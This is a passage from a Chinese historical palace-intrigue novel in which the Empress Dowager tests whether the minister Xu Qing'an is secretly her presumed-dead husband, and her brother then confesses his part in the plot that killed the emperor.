徐卿安颔首:“是,只是事情还未尘埃落定所以便没急着告诉娘娘。” 上官栩对他这话并无表示,只道:“那人生平你可仔细查过了?” 徐卿安轻嗯:“大致都查了遍,原本是禁军里的人,在赵王开府后便被调入到了赵王的亲兵当中,后来赵王就藩也跟着赵王一并去了封地,期间一直无功无过,所以外界对他的了解也不多,不过听说赵王对他还是较为器重的。” “所以他既是赵王亲近之人,苏望为何要杀他,难道他在禁军的时候得罪过苏望?”上官栩沉吟,可她觉得光得罪这一项不至于让苏望过了这么多年还紧追着人不放,且亲兵校尉和相公身份差距也大,两人之间很难有过多的交际。 她一时想不通,便不再纠结道:“对了,刚才阿筝告诉我,她的弟弟可能还活着。” 见眼前微有不解,上官栩继续道:“具体情况之后阿筝会亲自与你说,她只刚才与我提了下,说在她回忆起当时她家被灭门时的画面时,她只看见了她的父亲母亲,脑中一直没有有关她弟弟的画面,所以她觉得灭门时或许她弟弟并没有与他们在一起。” 徐卿安目色沉了瞬:“没记错的话,她弟弟当时不过只是个三四岁的孩童。” 上官栩道:“对,所以就算她弟弟还活着现在也必然是寄居在其他人家中,只是麻烦的是,一个三四岁的孩童在经过几年的成长后,他很难对幼时的事留有记忆,而这几年亦是他容貌变化极大的几年,若阿筝想不起来他到底长什么样,身上有哪些特质,寻找他无疑于大海捞针。” “不一定。”徐卿安幽声。 上官栩诧异看他。 他道:“这事容我回府之后定好计划慢慢查,不一定就不好查。” 上官栩直觉他掌握了其它线索:“你有方向了?” 然他不欲多说:“说不准,且等我确定下来再与娘娘说吧。” —— 殿外,青禾和阿筝站在一起,也说了些相逢后的体己话。 青禾道:“陛下昨日才又问了他阿筝姑姑去哪儿了,结果谁知今日他的阿筝姑姑就进了宫,只是可惜不能让他知道。” 青禾回忆阿筝才出事的那几日宫里的光景,那时小皇帝见阿筝不在便总是问阿筝去了何处,上官栩她们当然不会直说,只道阿筝姑姑去了很远的地方办事,一时半会儿不能回来。 不过也好在是虚惊一场,阿筝安然无恙,上官栩和青禾放心了不少,小皇帝以后也能再见他口中念念不忘的阿筝姑姑。 阿筝心知身边人对她的照顾和在意,心中感激不止,克制着浅笑道:“等以后有机会能够光明正大回来时我一定带他去骑他最想骑但又不敢去骑那匹马。” 青禾忍俊不禁:“他就馋你那身功夫呢。” 阿筝慷慨道:“那便一并教给他。” 二人笑声不断,传入了殿内,上官栩和徐卿安已走到殿门处,隔着一道门望着外面。 上官栩道:“对了,阿筝要长期用的那药……到底要用多久?难道要用一辈子不成?” 想起刚才和阿筝对过的话,上官栩打算再试探他一次。 可是他茫然问:“什么药?” 上官栩转眸去看他。 他歪了歪头,向她扬眉。 上官栩实在无奈:“你之前告诉我,说阿筝在行刺苏望前曾服过用来保命的药,但那药亦有旁的不好的作用,所以用下来之后便需长期再服用其它药来压制它。” 听到这里,徐卿安似乎才想起来:“啊……是这个啊。”他笑,“之前那话是和娘娘玩笑的。” 见她目色渐沉,他又忙道:“那时也的确是想与娘娘多亲近,娘娘不要介意才好。” “那你为何现在愿意将真相告诉我了?” “因为和娘娘心意相通了啊,当然就不应该再在这些事上和娘娘玩笑了。” “是么?”上官栩冷笑,显然对他的话不以为然。 “那看来娘娘还是觉得和臣的感情太淡了。”徐卿安叹声后凝眸望向她,语气别有意味道,“那不如今夜臣再去寻娘娘和娘娘亲近亲近?” “不了。”上官栩拒绝得干脆,“今夜不方便。” 她开了门,迈步出去。 青禾和阿筝也收了声,上官栩再向阿筝嘱咐了几句让她好生照顾好自己的身子后便带着青禾离去了。 徐卿安站在原地,看着她的身影渐行渐远,脸上神色早已没了刚才的戏谑。 他如何会不知道她今夜会不方便呢?她的日子他从来没忘过。 只盼他那话和今日的表现能消她的疑心吧。 第72章 “来,快趁热将这参汤喝了。” 盛夏酷暑,就算殿内放了冰鉴也压不住那股燥热。 皇后上官栩看着案上被推过来的热汤挤了挤眉,颇有些为难地开口去和身边的人打商量:“一定要喝么?” 周景知坐在她身旁静静地看着她,笑意藏在眼底却止不住地从眼尾溢出,上官栩眨着眼睛真诚看他,就觉得自己要将他打动,可是下一刻她听他说: “不行。” 语气和面容极为不符,冷得不容拒绝。 上官栩垮了肩,拖着声音道:“不想喝。” “为什么?”少年帝王性子一贯好。 上官栩摊开手和他讲道理:“你看,这么热的天,喝这么热的汤,是不是很热,是不是会冒很多汗,而且日子也还没到,为什么要着急呢?” 周景知无情道:“可是上次你也这样说,我听了你的话依了你,结果日子到之后你就开始疼了,而且这汤本就是那日子到之前喝,真等日子到的时候再喝功效就大大减少了。” 上官栩顿时心虚又语塞。 这到日子就疼也非是因为她做了什么不爱护自己身体的事情而造成,而是自她月信开始时就有的反应,所以上官栩也因此觉得无奈啊。 偏那反应还不算轻,起码发作起来的时候是无法忽视的,甚至有时她连床都不想下。 不过好在调养了两年,症状减轻了不少,所以上官栩便蠢蠢欲动了起来。 那参汤并不好喝,又热,每月还不止喝一碗,上官栩惯不是一个会把自己局限住的人。 她便笑眯眯地再和身旁的人商量道:“上次是意外,这次一定不会了。” 周景知干脆把碗端起到她眼前:“上次没让你喝才是意外,这次一定不许你逃了。” 上官栩瞥目,口中嘟囔了几句。 周景知凑过去问:“你说什么?” 上官栩高声:“我说日子你比我还记得准!” 周景知差点被震得没拿稳那汤碗。 而上官栩见了他忙那扶碗的姿态更是差点没笑出来。 “笑了?”周景知捕捉到她唇角的笑意,重新端好碗到她面前,温声道,“这参汤配方是我向一位神医求的,他说你这种情况是女子中常有的,虽难以根治,但好生调养之后亦能有极大的改善,我给他说过你不愿长期喝药,所以他只推荐了这参汤给我,他亦向我保证,只要你坚持喝几月这汤,以后每逢那几日你都不会再觉疼痛,起码不至于萎靡精神。” “真的?” “我何时骗过你?” 上官栩仔细思忖,点点头:“好像是没骗过我。”她满意道,“看来你这方面对我还不错。” 周景知无奈:“就这方面?” 上官栩从他手中双手拿过药碗,边转身边嘀咕道:“都逼我喝这汤了还想让我说哪方面。” 说着,她完全背对向他,仰头将参汤一饮而尽。 云过风止,往事回溯。 立政殿侧室内,上官栩倚靠在美人榻上,一只手搭在了自己的小腹上。 得那段时间的调养,她的月信准时到了现在,其他的就算偶尔有变动也不过前后两日的偏差,而他一贯记得准,到差不多时间时便总会提醒她注意保暖。 但 徐卿安今天那话显然是对她的月信日期不了解的。 可是这能说明什么? 一个人对一件事要假装记得不容易,可假装记不得却很简单吧? 而比起日期记得与否,今日更让她在意的,是他再度表现出的轻佻行为。 故人以前纵会有打趣她的时刻,但也从未会像今日那人这般,言行间散发出轻佻气息。 故人的气质永远是干净的。 然而怪也怪在这里,自那夜在侧室里他情绪剧烈反应之后,他以往周身缠绕着那些阴鸷轻浮之气竟如冰雪消逝般瞬间不见了踪影,且自那之后那些气息也再未在他身上出现过。 直到今日…… 而她觉得怪的地方,大概就是他那话说得突然,那种轻浮的气息亦复现得突然,让她觉得有些……突兀?有些刻意。 其实她这些年虽月信日期都未有大的变动过,但旁人不知道的是,在他出事那年,她因情绪波动太大曾停过一月月信,后面月信再恢复也只是恰好从她原本要来的日期延续了下去。 一个月信日期根本就说明不了什么! 那股强大且莫名的执念一直揪在上官栩心头。 她忽而觉得口渴,抬手就准备去拿茶盏,然而却不甚一把将其打倒。 叮叮当当的声音传出,青禾闻声赶到了侧室门口。 “娘娘!”她又赶到了上官栩近前,关切道,“娘娘可是身子有不适?” 上官栩收回手,轻声:“没有,只是不小心将杯子碰倒了。” 青禾上前将杯子规整好,又伸手探了探茶壶壁,试了试温度。 “壶中的水也不热了,奴婢去为娘娘换壶新的吧。” “嗯。” 上官栩思绪还沉浸在刚才所想的那些事情中便应得随意,然而青禾不知她心中真实想法只觉她这般模样有些失神,脸色也不太好,便道:“娘娘近日身子特殊,朝廷现下又恰逢多事之秋,娘娘应付着便难免精神上会有些不济,不如奴婢按以前的方子为娘娘炖完参汤来?” 话落片刻,上官栩掀起眼帘缓缓向青禾看去。 青禾见状迟疑不解。 神医……他也结识过神医,徐卿安身边也有一位神医……会是巧合么? 上官栩如骤然醒神般眼睛凝了光道:“那参汤方子有些年头了,恐怕现在已不适合我的身子,你去请一请那位荀大夫吧,就说我近几日日子特殊,身子有些不耐,想请他看看,对了,此事不必让徐晏容知道。” 青禾颔首,应了是。 —— 荀阳近日因为张凡的事也留住在了宫中,且为了方便,便将他的住处安排得离太医院更近一些,而徐卿安为了更好地照顾张凡,他的住处便离张凡的住处要更近些。 荀阳与徐卿安的住处离得便有些距离。 荀阳由青禾带到了立政殿,如上官栩最先说的那样是让他来帮她调养身子的。 期间,荀阳在把脉时上官栩颇有些不好意思提到她自己不爱喝药,所以便想让荀阳为她开一个参汤方子,见效慢一些没关系,只要不是药汤就好。 上官栩亦将几年前她才开始调养身子时的情况说了出去。 荀阳便据此写了方子。 上官栩接过方子后并未细看,直接便交给了青禾,让她去太医院那儿按照方子抓取所需的物品。 待青禾走后,荀阳也开始收拾自己的东西。 “晏容的身子到底是怎么回事?” 旁侧之人蓦地发问,荀阳手下的动作一顿。 他抬起头,一点一点地试探地向那人看去。 但上官栩却眉头微扬,眸中尽是对关注那话答案的真切。 荀阳想起近日徐卿安得空时曾与他说过的话——徐卿安嘱咐他以后不要再对她留有敌意,她若有所需求也尽可能帮助她。 虽然其中具体的原因并不明确,但荀阳却觉得他对上官栩也从来没有过敌意吧?以前真正有敌意的怕不是另有其人? 荀阳便先开了口:“他没给娘娘说过么?他的身子已经大好了。” “我知道,我只是想问他那病到底是从何而来?又真的大好了么?前不久才见他又吐过一次血。”上官栩接连问道。 荀阳恍然,意识到上官栩说的那次应是前不久徐卿安被刺杀的那次。 他道:“他的病是先天带来的,但也是大好了的,娘娘说的那次,是他先与人拼杀,后又中了会致血脉翻涌的药,如此精气接连亏损才又吐了血,不过娘娘放心,后面草民也已为他调养好了。” “这样……”上官栩似松一口气,叹道,“晏容真是幸运,能结识荀大夫这样的杏林圣手,在危难中化解一次又一次危机,而我也沾了他的光,亦得了荀大夫的几次帮助。” 荀阳垂眸:“娘娘言重了,如娘娘这样的身份能让草民来看诊,当是草民该谢娘娘的赏识之恩。” 上官栩莞尔:“荀大夫真会说笑。”又问,“记得第一次和荀大夫见面是在晏容的府上,那时我还感叹荀大夫年轻有为,如今与荀大夫多说了几次话,却也觉得荀大夫还是个幽默风趣之人,私下你与晏容相处时你们也是这样么?” 不过是闲聊时再普通不过的问题,荀阳也就直接回笑道:“是,我们都是爱玩笑的人。” “你们很早就相识了?”上官栩紧接着问。 荀阳顿了下:“也不算早,大概十几岁的时候才与他相识的吧,主要以前帮他调养身子的是草民的师父,而那是草民年纪尚小也还未出山呢。” “哦——是这样。”上官栩喝了口温水,不再多问。 —— 待荀阳走后,青禾回了殿内,手上没有端熬好的参汤,反而拿的依旧是那张房子。 上官栩:“如何了?问过了吗?” 青禾颔首:“问过了,太医说这方子和几年娘娘用的那方子所用的医理一致。” 上官栩扣了手指。 青禾继续道:“太医说,虽有两副方子所需药物、剂量略有不同,但他道,纵是同一人,前后几年身体状态本也会有差异,药方也就会因此变化,而调养月信的法子亦不少,但这两张方子却恰好就用的是一种法子。” 话落,殿内静了许久。 见上官栩眉头微蹙,又一动不动,青禾便轻声唤了句:“娘娘……” 上官栩回了神:“我知道了。” 她仰颈呼了息:“去把他叫来吧,他不是想夜宿立政殿么?” 第73章 徐卿安对上官栩的邀请有些意外。 他日子应该是没有记错的,她怎会…… 对啊,分明最开始他说出那话时她自己也以不方便为由拒绝了他,那现在她让他去立政殿又是为了什么? 徐卿安推开殿门独自迈步进去,而方一入殿便是一阵浓郁的芍药花香。 仍如往常他闻到的那样,虽浓但不致闷,嗅入心脾内依旧有一种清冽感。 入殿后,徐卿安习惯地环视一圈去寻上官栩的身影。 然而前殿并未她的身影。 他再行到侧室,推了门,却见里面熏香画卷一样未点上或打开,更是不见任何人影。 他便转过身,看向了他唯一还未去查看过的后殿。 那是他身为徐卿安还未涉足过的地方。 他缓缓向前去,撩开隔帘,目光向里倾投,一张熟悉的床榻映入眼帘,同时还有一位披散长发、中衣简装的女郎半躺在上面。 听见隔帘掀起的声音,上官 栩同时睁开了眼。 来人一袭云青长袍,从一团团芍药花香中漫步而来,他目光亦落在她的身上。 一步一步,越踩越近。 上官栩小臂支在榻上,微微撑起身子。 她唇角弯起,向他笑。 徐卿安先开了口:“娘娘怎么歇息时也不将被子盖上?娘娘就不担心着凉么?” 上官栩对他的话不甚在意:“这几日的天气哪至于不盖被子就会着凉。” 徐卿安眸光幽而柔:“可是娘娘不是不方便么?” “嗯?”上官栩歪了歪头,似没能理解他话中的意思。 徐卿安便再道:“娘娘不是方才才说过自己来了月信?” “我有说过这句话么?”上官栩反问他,却又自答道,“我应说的是我不方便吧?” 说着,她似含着芍药花香的暖柔眸光既软又亮地投入了他的眼中。 他静静地与她对视片刻。 他道:“是,娘娘的确是这样说的。” “那你缘何就以为是我的月信来了?” 徐卿安垂了眸。 接着,他蓦地了笑了下,脚下迈出步子,往床榻处再行近了几步,到了床榻边更是毫不见外地直接坐到了她的身旁。 他牵过她的手,拇指在她手背轻轻揉着:“臣回答娘娘这问后娘娘可千万不要怪罪臣啊。”他抬眸看向了她,一双桃花眼含情带笑,“臣也是有过青梅的人,所以对于女子的那些不便宣之于口的境况,多少是懂些的,什么身子不适、多有不便大多都与女子每月的月信相关,又恰好,今日臣先才说了想和娘娘亲近,娘娘便也不方便回绝了臣,臣大概便明白了娘娘的意思了。” 上官栩眼角微扬,在他说话的过程中始终含笑。 “你说得对,是我将你想得太不知人事了。” “娘娘这话说得可是真是让臣羞红了脸,臣与娘娘又不是没有……” 他揉在她手上的动作改为了轻抚。 上官栩了然地笑了笑,又放了手臂,侧了身子放松地躺靠在软枕上。 她闭了眸:“我今日的确是来了月信。” “那娘娘为何还让臣来……” “就不能叫你来陪我?” 徐卿安顿了瞬,心中闪过一丝说不出的不舒服感,但下一刻却又真心实意道:“当然可以。” 他见她闭了眸,便知是她月信来后影响了精神,遂挪了位置,坐到了她枕边向下一点位置,再揽了她的肩,让她躺在了自己的腿上。 他的手指落在了她的额角上。 上官栩被他按得舒服,懒懒道:“这几日来了月信,身子便总觉不适,刚才请了荀大夫来帮我看了看,期间又聊到了你,便想着也让你来陪陪我。” 徐卿安皱了眉:“娘娘来月信身子会觉得不适?” 上官栩睁眼看他,不由得笑了:“你这话问的,到底日子特殊,身子总不能和平常日子一样,完全没有反应吧。” “那可是会疼?” “这两年是有的。”上官栩又闭了眸,说得轻松,“所以才请了荀大夫来帮我看诊。” 徐卿安张了口,方想再多问几句,却被上官栩抢先道:“好了,是要说你呢,怎么又说到我了。” 徐卿安便改了口:“娘娘要说臣什么?” 上官栩道:“今日和荀大夫聊了聊你们的以前,他说你们私下都是爱玩笑的人,尤其是记得当初你与他相识时你还总给他写信,总是以玩笑的方式在信中问他各种病症医治或疗养的方法。” 徐卿安揉额的动作停住:“他说错了吧,臣从未写信问过他治病或疗养的方子。” 上官栩看他,疑惑道:“他说错了么?” 徐卿安回得肯定:“当然,臣幼时身子弱,一直是由他的师父在旁医治,期间更是喝了不知多少汤药,臣对那些药物躲都躲不急,又怎么会特意再去学什么方子?再者说他师父的医术可比他厉害,有他师父在身边,臣若真有什么问题为何不知直接问他师父?那不比写信问他来得快?” 上官栩无奈笑一下:“你说得对,或许今日和他聊得太多,是我记错了吧。” 徐卿安的手重新开始揉动,她感受到他的声音从她的上方洒落:“想来还是月信影响到了娘娘,娘娘不如就早些休息吧。” “那你呢?” “娘娘既然叫了臣来,那臣自然要陪在娘娘身边。” 她被他揉得舒服地呼了口气,叹道:“这样的感觉真好。晏容,我与你商量件事吧。” “嗯?” “官阶、财宝,这两样相信你以后得到得不少,然而那终归都是朝廷的赏赐,所以我便想着我能送你些什么,但又如刚才所说,财宝你亦不会缺,那我再在那些物件上花心思便没多大的意义了,思来想去,人生于世追求定所而人死后亦需安身,索性我便为你挑了处地方,依山傍水,是块百年之后不错的长眠之地。” 察觉到额上的动作再次停滞,上官栩睁了眼,向上方的人看去,她抬手覆在他的手腕上,温声问他:“怎么了?你不喜欢?” 诚如上官栩所言,当下不管是有身份的人还是普通的百姓都无不在意死后的那块安息之地是否风水佳加,而观历朝历代,凡得皇帝看重者,亦是多早早地就获赐了风水宝地作为身后的安息之所。 上官栩的这个礼于形制上并无问题,甚至于朝臣而言是一种极大的殊荣。 可是他冷下眸来问:“那娘娘呢,娘娘为臣看好了地,给自己又看在了哪里?” 她笑,说得无所谓:“我何须再看,自然是在平陵了。” 徐卿安眸光凝了凝,听出了她的话中之意——她是太后,是昭帝的皇后,所以死后也自然要入平陵和昭帝合葬。 徐卿安突然觉得心口积了团气,又沉又闷,却怎么也派不出去。 而她手往上伸去,落在他的脸颊上,轻缓抚摸,偏还似安抚着他地说道:“晏容,我们便好好珍惜当下的时光吧,身后我是无法再陪你了。” “说来也好笑,有些时候我真觉得我们俩挺合适的,年少时期都曾遇见过心动的人,你有你的慕艾青梅,我有我的倾慕郎君,而他们又都早早逝去,让你我于世间徒留遗憾,现下你我相遇自是我们生前的缘分,然而那些与故人遗憾,我们终归是要在身后去弥补的。” 他放在她额角的手突然向下,一把搂在她的腰间:“人死之后不过一捧黄土,万事皆为一场空寂,难道娘娘也在意那些不过自欺欺人的虚无念想吗?” 可她说得认真:“何为自欺欺人?古来有言‘生同衾,死同穴’,这确是浪漫的事啊,我如何会不在意呢?” 其实他从不信那些鬼神之说,亦不在意那些只为给后世人看的礼制,然而现在他却被她激的有些头脑发晕。 大概是因为他以前从未担心过与他同行那些礼制的人是谁吧。 对啊,以前他是皇帝,她是皇后,他们本就是定好的一对,该是一同担起这天下礼制的人。 可是现在和她一同担起那些礼制的不是他了,不仅不是他,还是一个曾经想要置他于死地的人,是她的“杀夫”仇人。 徐卿安的头越来越晕。 他不由得仰起了头想要控一控那晕眩的反应。 而躺在他怀中的上官栩就这样静静地看着他,看他克制的神色,看他藏不住的纠结情绪。 是你么? 如果是你的话,你真的忍心就这样看着我去与旁人同穴长眠么? 可是如果真的是你,你为何又不愿与我相认呢? 上官栩至今不管轻易问出那句话不过两点原因,其一,人死不能复生,当年她真真切切见到过他的尸身,虽然面部已无法辨认但是诸多细节却也都对得上,她实在找不出能够说服自己的证据,其二便是,就算他当时用了她没有料想到的方法活了下来,可是如今他回来了,他为何不与她相认呢?她不相信他会这样残忍地如看客般任她在往事中煎熬。 她也怕失望。 片刻之后,她看他慢慢垂下了头,他复杂却又含笑的目光向她看来。 “好吧,既然是娘娘在意的事那便依娘娘的意思来吧。” 上官栩的神色渐敛,而在她茫然惊诧又带着一层隐痛的眼神下,他将手慢慢覆上她的双眼。 一片温热的漆黑中,她察觉到他俯下了身,气息喷洒在她唇间。 “但是刚才的一句话也说得对,既然身后你我无法彼此陪伴,那便趁生前好好享受吧。” 话落,她的唇被含起,柔软侵入,齿关 被一点一点撬开,吐息沉重,动作极近缠绵,耳畔气息纠缠不止。 然而上官栩脑中仍是长久的一片空白。 她想,怎么会…… 而在她无法看见的地方,徐卿安从袖中掏出了一张锦帕,深吻之后趁她缓息间,他一手覆住她的眼,一手拿着那锦帕抹过自己的鼻下。 他看了眼残留在那锦帕上的红色,闭目无声地叹了声。 再等等吧,等我能活下来的那天。 第74章 缠绵结束之后,上官栩缓了许久,不止是因为深吻之后呼吸不畅的脱力,还有那印证失败的茫然感。 那些感觉残留太久,以至于覆在她眼上的手,她都任它停在了那儿。 良久后,寝殿的烛光才重新打在了她的脸上,上官栩被刺得一下闭紧了眼,也因此回了神。 她睁开眼,眼前慢慢聚焦,俯在她上方的面容清晰映入眼底。 他一如既往地缓缓噙起笑。 “娘娘,睡吧。” 他的哄声很轻,可是她看他的眼神却越来越不舍。 原来,对一件事情幻想的落空可以这么刺痛人心,她甚至都没有问出那一句,只光是那甚至可以说得上是不切实际的希望破碎就让她的心闷得发疼。 上官栩从他的怀中离开,慢慢坐了起来。 她神色恢复如常,微微笑道:“刚有些困意,现在倒是不困了。” “那臣再和娘娘说说话。” “不必了。”上官栩垂了眸,“你每日照顾张公已然够疲累,又何必在我这儿再多折腾,便也早些去休息吧。” 徐卿安看着她,静了片刻。 “好。”他悠悠应了声,“臣都听娘娘的。” 他起了身准备向外走去,不过他刚走出几步便听见前殿传来的青禾喊声。 “娘娘,江南急报!” 徐卿安停下步子,回头看。 上官栩瞧他一眼,下榻穿了鞋,又到衣架前随手牵了件纱衣披上。 她唤了青禾进来。 “什么事?” 青禾拿着东西到她面前:“依娘娘部署,江南的几个世家的新势力与我们内外联合,凭借抓住的旧势力的把柄对其家族势力进行了瓦解,再对旧势力取而代之,刚才江南来信,那几家的原家主认输了。” 话到这里,一切都是好消息,可是上官栩见青禾忧心忡忡,她便也不觉蹙了眉,没有丝毫听到前面那消息的喜悦,反而心中莫名忐忑。 果然在那消息说完之后青禾就紧接着道:“但其中有个家主认罪之后,为求减轻罪责写了封信向当地官府详陈了诸多隐情,而那信和……大郎君有关……” —— 夜幕深黑,许是今夜多云,夜空中竟连零星也看不见几颗。 长安城中,上官府外,火光熏天,太后车驾在一众羽林卫的护送下到了府门前停下。 上官栩匆匆下了车。 “娘娘……” 跟在她身后的徐卿安拉住她的手腕,上官栩停下看他。 徐卿安:“不如让臣去吧。” 上官栩眼底微红,盯了他几息。 “不了,此事和你无关。” 她抽出手,径直往府里去。 徐卿安阻拦不得,只能快步跟上前。 —— 上官府外羽林卫涌动,脚步声、甲胄碰撞声此起彼伏,而府内却安静得连虫鸣都听得见,就恍若与外面完全是两个世界。 而如今身为一家之主的上官栎也不在卧房中,亦不在前厅迎接一朝太后的到来,而是独自跪在了祠堂里。 祠堂房门未关,风吹幡动,烛火轻轻摇曳。 但四周依旧很安静,直到…… “你来了。” 听到身后的脚步声停在了门口,上官栎便跟着开了口,他说话时唇角扬了扬带出笑,然而下一瞬他双眸便变得湿润,视线顷刻间模糊。 上官栩跨过门祗,没有走到他身旁,而是仍旧停在了他身后几步的位置。 “阿兄……” 她颤着声音又问:“你……还是我的阿兄么?” 上官栎鼻塞,声音喑哑:“当然是了。” “那你告诉我,当年到底是怎么回事?为什么那个家主会在告罪书中说,让他投靠苏望是得你指使?又为什么,在他投靠苏望最初的那一年里,他与苏氏做的许多勾当仍有你的身影?又为什么!这一切!都发生在熙宁七年三月初三之后?当年你与苏望到底做了哪些交易?” 轰的一声,上官栎紧闭了双眼。 上官栩心头亦是感觉在滴血。 今日,她收到那封告罪时,读完第一遍后就险些两眼一黑晕厥了过去,那家主在信上详陈这几年来他与上官栎之间的联系无非就是想问,为何他万事的开端分明就是因听了太后兄长的话而开始,结果现在却要被太后清算? 那家主的确劣迹斑斑,熙宁之变后,他联合江南世家,在朝里朝外打击寒门,然而这些都是有上官栎的指令,所以他只能将那些事情都说出来,搏一搏生机。 上官栩记得那年朝堂上的变动,上巳夜沉船是百官百姓共睹之事,所以必会有个交代,然而最后因此被牵连出来的人却无一例外不是寒门出身,首当其冲的就是工部的尚书和侍郎,而那些被牵连的人亦有一个共同点——他们都是他看重的人,都是由他一手提拔上来的人。 苏望不仅要夺了他的命,更要消除他所有残存在朝堂的势力。 所以,上官栩在知道上官栎也参与了那些事情后,怎能不往那最不堪的那处想,又怎能不觉剜心? 原来如今她最敬爱的阿兄,如今她在这世上唯一的血亲,也是当年害他的元凶么? 上官栎跪在地上垂着头,上身因哽咽而抖动。 这一天到底来了。 “就是你想的那样。”他弱声,“就是你心中猜测的那样,当年上巳夜沉船之事背后确实有我的参与。” 房门外,徐卿安侧了侧头,目光瞬间落在了那跪地之人的身上。 而房内,上官栩闻声眉头拧了一阵,好像那一刻她只能听到声音,却无法理解那话语是何意思。 她也不知自己为何会扯着嘴角笑了笑,许久之后才像慢慢定回神,问道:“为什么呢?你为什么要这么做呢?就算抛却我的因素,你不也是一直欣赏他,一心想要辅佐他为一代明主的么?” “对,所以我才,我才参与了那件事。” 上官栩突然失笑几声,她脑中混沌,越来越不理解那些入耳的话是什么意思,所以她强迫自己去理解:“这是什么道理?因为欣赏他所以要杀他?因为想要扶他做明主所以要杀他?那我、我们呢?你可也曾因此想过要杀了我?” 上官栎霎时惊震:“阿栩,妹妹!”他侧过身看她,“你要相信,阿兄从未想过要伤害你。” “可是你和苏望一起杀了他……”她强调,“杀了我爱的人,杀了爱我的人。” 这如何不是伤害呢? 上官栎张了张口,想要努力再说些什么,然而终是垂了头,只道:“对不起……阿兄对不起你。” 他缓缓开口再道:“当年,父亲离世,我辞官守孝三年,三年期间我没有参与任何政事,亦不知外界发生了什么,所以在我回朝之后,我要做的第 一件事便是了解过去三年里发生了什么。” “他是我的岳父,又是当朝相公,因这两层关系,所以许多事情我都是从他那处了解到的,然而也因此我能够了解到的消息也受到限制,他想要我知道什么,不想让我知道什么,他可以轻松操控,所以那段时间我了解到的最多的就是先帝在那三年时间里做了哪些改革,又因此失败了多少。” “他告诉我,先帝太过年轻,对许多事情的想法都太天真,以为万事发展都是向善的,都是可以由朝廷控制的,所以先帝才会大幅改革,然而却不知那些都是消耗国力之举,于百姓社稷并无好处,可先帝是天子,是一国之君,拥有无上权利,旁人若想阻止,便唯有在其思想上进行改变。” “他说,究其根本,不过是先帝的一生过得太顺,不知人间疾苦,亦不知人心险恶。” “所以,你就和苏望一起谋划了那场沉船?”上官栩颤着声问。 “嗯。”上官栎应了声。 上官栩心口绞痛,脑中发闷发胀,可她仍是觉得不对,她道:“阿爹离世,我们守孝的那三年里发生了什么我亦不清楚,但是之后我与他成婚的近两年时间里我却大致知道他做了什么,他从不是冒进的人,他亦知改革会牵动多方利益不可轻易施行,纵有改革的政令颁出也定是他查了许久,确定可行之后才下的决定。怎么可能会有你说的那样,做了多少,又失败了多少?” “况且你说的,你们的目的不过是让他知道何为人间疾苦,何为人心险恶,那你们为何杀他呢?” “因为我被骗了。”上官栎心如死灰。 “如你所言,那三年里发生的事情不是我所知道的那样,后面近两年的时间发生的事情也不是那样,但是呈现在我面前,让我看到的却就是那人告诉我的那样。” “我亦从没有想过要杀先帝,但是我不知他在船上安排了刺客,亦不知他和薛弘还有图谋。” “当我察觉到他真正的意图时已经晚了,皇帝失踪,全城戒严,他带我去到了曲江边。” 上官栎的声音越来越弱,弱到需要靠近才能听得清。 上官栩终于走到他近前位置,蹲在他身前,眼眶泛红地看他。 她声音同样微弱:“去曲江边做什么?” 上官栎缓缓抬眼看她,吐声道:“看……先帝的尸首。” 轰!上官栩脑中蓦地空了一瞬,眼泪完全不受控地从眼底滑落。 上官栎因她的神色愈发痛苦,可他又不得不说道:“其实早在先帝尸首回宫的前三天他们就已经就已经找到了他,可是那时他身上、脸上,各个地方因刀剑而留下的伤口仍是明显,所以他们便为了掩盖那些伤口再让他在曲江中待了三日,等待江水彻底将尸体泡涨,将伤口真实的来源掩盖。” 上官栩张大了口,半响发不出声:“你们真的,好毒啊!” 那些悔恨、痛苦、折磨同上官栩的这一句一起在上官栎心底爆发开来,他亦提高了声量:“所以在那之后,我不让你出立政殿,亦不让你将你在船上看到有刺客的事情传扬出去,因为我不能再让你受到伤害,我心知他们的手段,我必须要保住你!” “也因此后来,我不得不配合他们行事,甚至调用你的中宫玺印,就是为了要让他们知道我与他们绑在了一起,又为了让他们觉得你我不会对他们造成威胁,我让交好的世家转投到他们手下,又自请辞任在刑部的实职。” 声音传到门外,徐卿安袖中的拳头无力松开。 原来如此…… 原来他以往无法解开的,都因如此。 上官栎向上官栎慢慢伸出手,却停于半途,想触又不敢触:“可是阿栩,阿兄知道,阿兄再怎么做都无法弥补我做下的错事,是阿兄对不起你……” 上官栩无视他颤抖的手,只悲叹道:“阿兄,你是这世上我唯一的亲人了啊,你怎么能、怎么能……”她实在控制不住哽咽,“我该怎么办啊?” —— 上官栩不知如何离开的祠堂,那一段路好似很漫长,可是她却一点也记不清她是怎么走过来的。 她失神地跨过门祗,衣袂擦过始终守在门外的那人的臂膀。 徐卿安小心翼翼又担忧地看着她一路走来,衣袂相互擦那刻,他默默关注着她,看她下了台阶,进了院中。 她就如丢了三魂六魄般,他忍不住拉了她的手腕。 “娘娘,臣……带你出去吧。” 上官栩转头向他看去,似用了极大力气她才在眸中凝了神。 可是她却道:“很恶心吧?” 徐卿安迟疑。 她再问:“被亲近之人背叛的感觉很恶心吧?” 他一时说不出话。 片刻后,他抬眸看向她宽慰道:“上官大人本意并非如娘娘所说的那样,他一直想着的也只是要守护好娘娘。” 她挤起一抹笑:“所以我该原谅他?” “可是他呢?”她问,这个他指向另一个人,“那年的曲江水很冷啊。” “娘娘!娘娘!” 不过一瞬间,上官栩便若无骨地昏厥了过去,徐卿安慌忙将人揽入怀里,然后也顾不得太多直接将人横抱起快步往外去。 苏尚从另一个方向走来。 “站住!”苏尚抬手挡了去路。 “让开。”徐卿安冷声,目不斜视。 “徐大人这是做什么?” “我再说一遍,让开!” 苏尚不遑多让:“我也提醒你一句,你是外臣!如今已是深夜,你这样做可曾考虑过殿下?” “那你现在拦着我又可曾考虑过?你看不出现在殿下需要大夫么?” 苏尚看了眼那闭目在徐卿安怀中的女郎一眼,移了目,狠狠向徐卿安看去:“是你害的她如此,我早就说,你是在害她!” “所以当年的真相你早就知道是不是?”徐卿安轻笑一声,反问道。 苏尚咬牙:“我没有参与!” 徐卿安再哂笑一声:“何朝臣?习何书?言何义?” 语罢,徐卿安不管苏尚神色变化兀自又沉了脸,再次道:“让开。我不管你以前做了何事,现在你既口口声声说要为了娘娘,那就要给我让开。” 苏尚沉吸几息,握了拳,侧身让了路。 徐卿安直奔向府门外,然而却要到门口时停了脚步。 他想起苏尚刚才说过的话。 徐卿安唤了跟了一路青禾:“青禾,这段路便由你来带娘娘过去吧。外面人多口杂,我这样不方便。” 青禾了然,从他怀中接过上官栩,准备将人背出去。 “可有随行太医?”他问。 青禾点头:“有的。” 